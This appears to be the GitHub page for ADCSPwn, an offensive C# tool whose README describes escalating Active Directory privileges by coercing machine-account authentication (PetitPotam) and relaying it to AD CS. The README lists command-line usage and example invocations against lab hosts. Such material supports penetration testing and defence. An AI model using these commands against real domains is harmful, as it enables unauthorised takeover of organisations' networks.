bats3c Merge pull request #8 from rvrsh3ll/master df11f66 · 3 years ago 21 Commits

| | | |
|---|---|---|
| ADCSPwn | Add secure option | 3 years ago |
| README.md | Add secure option | 3 years ago |

README

# ADCSPwn

A tool to escalate privileges in an active directory network by coercing authenticate from machine accounts (Petitpotam) and relaying to the certificate service.

## Usage

Run `ADCSPwn` on your target network.

```
Author: @_batsec_ - MDSec ActiveBreach
Contributor: @Flangvik -  TrustedSec
Contributor: @424f424f -  Black Hills Information Security

adcspwn.exe --adcs <cs server> --port [local port] --remote [compute

Required arguments:
adcs            -       This is the address of the AD CS server whic

Optional arguments:
secure          -       Use HTTPS with the certificate service.
port            -       The port ADCSPwn will listen on.
remote          -       Remote machine to trigger authentication fro
username        -       Username for non-domain context.
password        -       Password for non-domain context.
dc              -       Domain controller to query for Certificate T
unc             -       Set custom UNC callback path for EfsRpcOpenF
output          -       Output path to store base64 generated crt.

Example usage:
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --secure
adcspwn.exe --adcs cs.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --usernam
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --dc dc.
```

## Credits

- @harmj0y & @tifkin_ for their whitepaper detailing this issue.
- @topotam77 for showing how `EfsRpcOpenFileRaw` can be abused.

### About

A tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service.

Readme
Activity
816 stars
16 watching
122 forks
Report repository

### Releases 2

ADCSPwn v1.1 Latest
on Aug 2, 2021

+ 1 release

### Packages

No packages published

### Contributors 4

bats3c batsec
FlangvikOld
rvrsh3ll Steve Borosh
inspiringz 3ND

### Languages

C# 100.0%